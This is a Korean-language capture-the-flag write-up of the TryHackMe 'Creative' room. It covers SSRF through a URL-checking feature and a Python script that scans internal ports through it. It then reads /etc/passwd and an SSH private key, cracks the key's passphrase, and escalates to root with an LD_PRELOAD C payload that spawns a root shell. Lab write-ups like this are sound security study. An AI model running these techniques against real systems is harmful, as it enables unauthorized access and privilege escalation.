[tryhackme] Creative

김기훈·2024년 8월 24일

tryhackme

목록 보기
4/12
post-thumbnail

언제쯤 Write-up을 보지않고 풀 수 있을까..?
어떻게든 혼자 풀어보려고 했지만 Write-up을 보고나니 내가 가진 지식으로는 풀 수 없는 문제였다.

먼저 웹페이지를 둘러보고 취약한 버전을 사용했는지 확인을 해봤지만 별다른 수확은 없었다.

nmap 포트스캔과 gobuster 디렉토리스캔 결과도 특별할게 없다.
어떻게 접근해야할지 감이 잡히지 않았다.

결국 Write-up을 보고 서브도메인이라는 것을 찾아야 한다는걸 알게되었다.

서브도메인은 아래 예시처럼 기능별이나 언어별로 구분지어 관리하기 위해 만든다.

ex)
naver.com => Root 도메인
mail.naver.com => mail이 서브 도메인

wikipedia.org => Root 도메인
en.wikipedia.org => en이 서브 도메인

서브도메인을 찾을 때는 gobuster의 dns를 활용하면 된다.
beta.creative.thm에 접속하기 전에 hosts 파일에 서브도메인도 추가해야 한다.

URL이 살아있는지 테스트를 해볼 수 있다고 한다.

구글, 네이버 같은 URL에는 아무 반응이 없고 'http://localhost' 를 제출하니 creative.thm 페이지의 html이 불러와지는 것 같다.

이걸 통해 SSRF(서버사이드 요청 위조) 공격을 수행할 수 있을 것 같다.
nmap은 외부에 오픈되어 있는 포트만 파악할 수 있지만 이 기능은 서버에서 실행되기 때문에 외부에 공개되지 않더라도 서비스 중인 포트가 있으면 접근할 수 있다.

import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor

def send_post_request(url, payload, headers):
    try:
        response = requests.post(url, data=payload, headers=headers)
        content_length = response.headers.get('Content-Length')
        if content_length != '13':  # Check if content length isn't 13
            print(f"POST request to {url} with payload {payload} returned status code: {response.status_code}, content length: {content_length}")
    except requests.exceptions.RequestException as e:
        print(f"Error sending POST request: {e}")

def main():
    base_url = "http://beta.creative.thm"
    headers = {
        "Host": "beta.creative.thm",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "http://beta.creative.thm",
        "Connection": "close",
        "Referer": "http://beta.creative.thm/",
        "Upgrade-Insecure-Requests": "1"
    }

    # Using ThreadPoolExecutor to run 20 threads concurrently
    with ThreadPoolExecutor(max_workers=20) as executor:
        for port_number in range(1, 65536):
            url = f"http://localhost:{port_number}"
            payload = f"url=http%3A%2F%2Flocalhost%3A{port_number}"
            executor.submit(send_post_request, base_url, payload, headers)

if __name__ == "__main__":
    main()

python 멀티스레드 기능을 이용하여 1부터 65536번 포트까지 서비스 유무를 확인하기로 했다.
서비스가 없을 경우 Dead가 출력되는데 컨텐츠 길이가 13이므로 컨텐츠 길이가 13이 아닌 것만 출력했다.

80번 포트말고 1337번 포트로 접근이 가능한 것을 확인할 수 있다.

'http://localhost:1337' 을 제출하니 서버 디렉토리가 보였다.
/etc/passwd 파일을 불러와서 접근할 수 있는 계정이 뭐가 있는지 확인해봤다.

보기가 힘들긴한데 잘보면 uid가 1000인 일반사용자 계정 saad를 확인할 수 있다.
홈디렉토리에 뭐가 있는지 확인해보자.

22번 포트도 열려있었으니 .ssh 폴더에 private key가 있는지 확인해봤다.

빙고!

비밀번호를 따로 입력해야한다고 한다.

id_rsa파일을 hash로 변환한 뒤 john the ripper를 통해 패스워드 크랙을 진행했다.

saad 계정으로 로그인 성공!

홈디렉토리에 있는 user.txt 파일을 첫번째 정답으로 제출하면 된다.
두번째 문제의 root.txt를 보기 위해서는 당연히 root 계정으로 권한상승을 해야할 것이다.

saad 계정에서 sudo를 통해 실행할 수 있는 명령어를 확인하기 위해 sudo -l 명령을 실행했는데 패스워드가 필요하다.

이 패스워드는 .bash_history 파일에서 찾을 수 있다.

ping 명령이 sudo 로 실행 가능한 것을 알 수 있다.

하지만 ping을 sudo 명령으로 실행해도 권한상승하는 방법이 없는 듯하다.

sudo -l 출력결과를 잘보면 특이한 문구가 있다.

env_keep+=LD_PRELOAD

LD_PRELOAD는 런타임에 동적으로 공유 라이브러리를 로드할 수 있는 환경 변수이다.
이를 통해 특정 라이브러리를 프로그램이 기본적으로 사용하는 라이브러리보다 우선하여 로드할 수 있다. 리눅스 시스템에서 공유 라이브러리 확장자는 .so이며 윈도우에서는 .dll이다.

기본적으로 sudo는 보안 문제를 방지하기 위해 환경 변수를 초기화하거나 무시하지만 sudoers 파일에서 env_keep 옵션을 통해 LD_PRELOAD를 유지하도록 설정할 수 있다.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

/tmp 폴더에 위 코드로 c언어 파일을 만든 뒤

컴파일하여 동적 라이브러리를 생성하면

sudo 명령과 동적 라이브러리를 통해 권한상승에 성공했다.

이 권한상승 방법을 수행하기 위해서는 sudoers 파일에서 env_keep 옵션을 통해 LD_PRELOAD를 유지하는 설정을 해줘야하고 sudo로 실행가능한 명령이 있어야하기에 실제로 활용되기에는 어렵지 않을까 싶다.

0개의 댓글